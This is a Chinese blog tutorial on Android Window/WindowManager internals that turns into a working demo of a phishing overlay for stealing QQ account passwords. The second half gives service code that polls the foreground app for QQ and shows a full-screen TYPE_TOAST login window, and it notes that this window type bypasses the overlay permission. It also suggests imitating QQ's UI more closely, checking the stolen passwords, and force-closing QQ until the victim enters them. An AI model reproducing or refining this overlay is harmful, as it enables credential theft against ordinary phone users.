windows manager是一款窗口管理终端,可以远程连接到linux的x桌面进行管理,与服务器端产生一个session相互通信。
最近在网上看见一个人在乌云上提了一个漏洞,应用可以开启一个后台service,检测当前顶部应用,如果为qq或相关应用,就弹出一个自定义window用来诱骗用户输入账号密码,挺感兴趣的,总结相关知识写了一个demo,界面如下(界面粗糙,应该没人会上当吧,意思到了就行哈=, =):
window&&windowmanager介绍
分析demo之前,先要整理总结一下相关的知识。先看看window类,window是一个抽象类,位于代码树frameworks\u0008asecorejavaandroidviewwindowjava.java文件。连同注释,这个文件总共一千多行,它概括了android窗口的基本属性和基本功能。唯一实现了这个抽象类的是phonewindow,实例化phonewindow需要一个窗口,只需要通过windowmanager即可完成,window类的具体实现位于windowmanagerservice中,windowmanager和windowmanagerservice的交互是一个ipc过程。android中的所有视图都是通过window来呈现的,不管是activity,dialog还是toast,他们的视图实际上都是附加在window上的,因此window实际上是view的直接管理者,点击事件也是由window传递给view的。windowmanager.layoutparams.type参数表示window的类型,共有三种类型,分别是应用window,子window和系统window。应用window对应着一个activity,类似dialog之类的子window不能单独存在,他需要附属在应用window上才可以,系统window则不需要,比如toast之类,可以直接显示。每个window都有对应的z-orderd,层级大的window会覆盖在层级小的window之上,应用window的层级范围是1~99,子window的范围是1000~1999,系统window的范围是2000~2999,这些层级范围都对应着相关的type,type的相关取值:官网链接和中文资料。windowmanager.layoutparams.flags参数表示window的属性,默认为none,flags的相关取值:官方链接,还有其他的layoutparams变量名称和取值可以参考windowmanager.layoutparams(上) 和windowmanager.layoutparams(下) 两篇译文博客,很详细。
再详细分析一下windowmanager,windowmanager主要用来管理窗口的一些状态、属性、view增加、删除、更新、窗口顺序、消息收集和处理等。通过代码context.getsystemservice(context.window_service)可以获得windowmanager的实例。windowmanager所提供的功能很简单,常用的只有三个方法,即添加view、更新view和删除view,这三个方法定义在viewmanager中,而windowmanager继承了viewmanager,
addview();
updateviewlayout();
removeview();
这些函数是用来修改window的,它的真正实现是windowmanagerimpl类,windowmanagerimpl类并没有直接实现window的三大操作,而是全部交给了windowmanagerglobal来处理,windowmanagerglobal以工厂的形式向外提供自己的实例,在windowmanagerglobal中有如下一段代码:private final windowmanagerglobal mglobal = windowmanagerglobal.getinstance()。windowmanagerimpl这种工作模式是典型的桥接模式(不是装饰者模式:区别在这),将所有的操作全部委托给windowmanagerglobal来实现。
view是android中视图的呈现方式,但是view不能单独存在,他必须要附着在window这个抽象的概念上面,每一个window都对应着一个view和一个viewrootimpl,window和view通过viewrootimpl来建立联系,因此有视图的地方就有window,比如常见的activity,dialog,toast等。
对于每个activity只有一个decorview也就是viewroot,window是通过下面方法获取的
window mwindow = policymanager.makenewwindow(this);
创建完window之后,activity会为该window设置回调,window接收到外界状态改变时就会回调到activity中。在activity中会调用setcontentview()函数,它是调用 window.setcontentview()完成的,而window的具体实现是phonewindow,所以最终的具体操作是在phonewindow中,phonewindow的setcontentview方法第一步会检测decorview是否存在,如果不存在,就会调用generatedecor函数直接创建一个decorview;第二步就是将activity的视图添加到decorview的mcontentparent中;第三步是回调activity中的oncontentchanged方法通知activity视图已经发生改变。这些步骤完成之后,decorview还没有被windowmanager正式添加到window中,最后调用activity的onresume方法中的makevisible方法才能真正地完成添加和现实过程,activity的视图才能被用户看到。
dialog的window的创建过程和activity类似,第一步也是用过policymanager.makenewwindow方法来创建一个window,不过这里传入的context必须要为activity的context;第二步也是通过setcontentview函数去设置dialog的布局视图;第三步调用show方法,通过windowmanager将decorview添加到window中显示出来。
toast和dialog不同,它稍微复杂一点,首先toast也是基于window来实现的,但是由于toast具有定时取消的这一个功能,所以系统采用了handler。在toast的内部有两类ipc过程,第一类是toast访问notificationmanagerservice,第二类是notificationmanagerservice回调toast里的tn接口。在toast类中,最重要的用于显示该toast的show方法调用了service.enqueuetoast(pkg, tn, mduration);也就是说系统为我们维持了一个toast队列,这也是为什么两个toast不会同时显示的原因,该方法将一个toast入队,显示则由 系统维持显示的时机。
1
2
3
4
5
6
7
8
|
private static inotificationmanager sservice; static private inotificationmanager getservice() { if (sservice != null ) { return sservice; } sservice = inotificationmanager.stub.asinterface(servicemanager.getservice( "notification" )); return sservice; } |
该服务sservice就是系统用于维护toast的服务。最后nms会通过ipc调用toast类内部的一个静态私有类tn,该类是toast的主要实现,该类完成了toast视图的创建,显示和隐藏。
骗取qq密码实例
有了上面的基础之后,这个例子其实就非常简单了。
第一步编写一个service并且在service中弹出一个自定义的window:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
windowmanager = (windowmanager) getsystemservice(context.window_service); windowmanager.layoutparams params = new windowmanager.layoutparams(); params.width = windowmanager.layoutparams.match_parent; params.height = windowmanager.layoutparams.match_parent; params.flags = windowmanager.layoutparams.flag_not_touch_modal; params.type = windowmanager.layoutparams.type_toast; params.format = pixelformat.transparent; params.gravity = gravity.center; params.softinputmode = windowmanager.layoutparams.soft_input_adjust_pan; layoutinflater inflater = layoutinflater.from( this ); v = (relativelayoutwithkeydetect) inflater.inflate(r.layout.window, null ); v.setcallback( new relativelayoutwithkeydetect.ikeycodebackcallback() { @override public void backcallback() { if (v!= null && v.isattachedtowindow()) l.e( "remove view " ); windowmanager.removeviewimmediate(v); } }); btn_sure = (button) v.findviewbyid(r.id.btn_sure); btn_cancel = (button) v.findviewbyid(r.id.btn_cancel); et_account = (edittext) v.findviewbyid(r.id.et_account); et_pwd = (edittext) v.findviewbyid(r.id.et_pwd); cb_showpwd = (checkbox) v.findviewbyid(r.id.cb_showpwd); cb_showpwd.setoncheckedchangelistener( new compoundbutton.oncheckedchangelistener() { @override public void oncheckedchanged(compoundbutton buttonview, boolean ischecked) { if (ischecked) { et_pwd.settransformationmethod(hidereturnstransformationmethod.getinstance()); } else { et_pwd.settransformationmethod(passwordtransformationmethod.getinstance()); } et_pwd.setselection(textutils.isempty(et_pwd.gettext()) ? 0 : et_pwd.gettext().length()); } }); //useless // v.setonkeylistener(new view.onkeylistener() { // @override // public boolean onkey(view v, int keycode, keyevent event) { // log.e("zhao", keycode+""); // if (keycode == keyevent.keycode_back) { // windowmanager.removeviewimmediate(v); // return true; // } // return false; // } // }); //点击外部消失 v.setontouchlistener( new view.ontouchlistener() { @override public boolean ontouch(view view, motionevent event) { rect temp = new rect(); view.getglobalvisiblerect(temp); l.e( "remove view " ); if (temp.contains(( int )(event.getx()), ( int )(event.gety()))){ windowmanager.removeviewimmediate(v); return true ; } return false ; } }); btn_sure.setonclicklistener( this ); btn_cancel.setonclicklistener( this ); l.e( "add view " ); windowmanager.addview(v, params); |
这里有几点需要说明一下,第一个是type使用type_toast而不是用type_system_error是可以绕过权限的,这个是在知乎上看见有人说的一个漏洞,哈哈;第二个是因为有edittext,所以softinputmode需要设置为soft_input_adjust_pan,要不然软键盘会覆盖window;第三个是返回键的监听,setonkeylistener是不好用的,最后只能复写view类的dispatchkeyevent函数来实现按键监听了;第四个是点击外部消失的操作,看代码就会明白了。
实现了弹出框的弹出之后,接着就要设置一个实时监听,开启一个线程,每隔几秒去监听用户正在操作的应用是否是qq,这个就简单多了,使用activitymanager就可以了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
new thread( new runnable() { @override public void run() { while (isrunning){ l.e( "running" ); try { thread.sleep( 3000 ); } catch (interruptedexception e) { e.printstacktrace(); } activitymanager activitymanager = (activitymanager) getsystemservice(context.activity_service); list<activitymanager.runningappprocessinfo> list = activitymanager.getrunningappprocesses(); if (list.get( 0 ).processname.equals( "com.tencent.mobileqq" )){ myhandler.sendemptymessage( 1 ); } } } }).start(); |
这样效果就差不多了,最后在activity中启动该service即可,当然这个还有很多改进的余地:
1. 修改ui,使之更加的和qq风格相似。
2. 用户输入完账号和密码之后,可以addview一个loadingdialog,接着调用相关接口去验证用户名和密码的正确性,不正确提示用户重新输入。
3. 如果用户不输入账号和密码,直接调用killbackgrondprocess函数(需要权限),强硬的把qq关闭,直到用户输入账号和密码。
以上通过案例分析android windowmanager解析与骗取qq密码的过程,希望本文分享对大家有所帮助。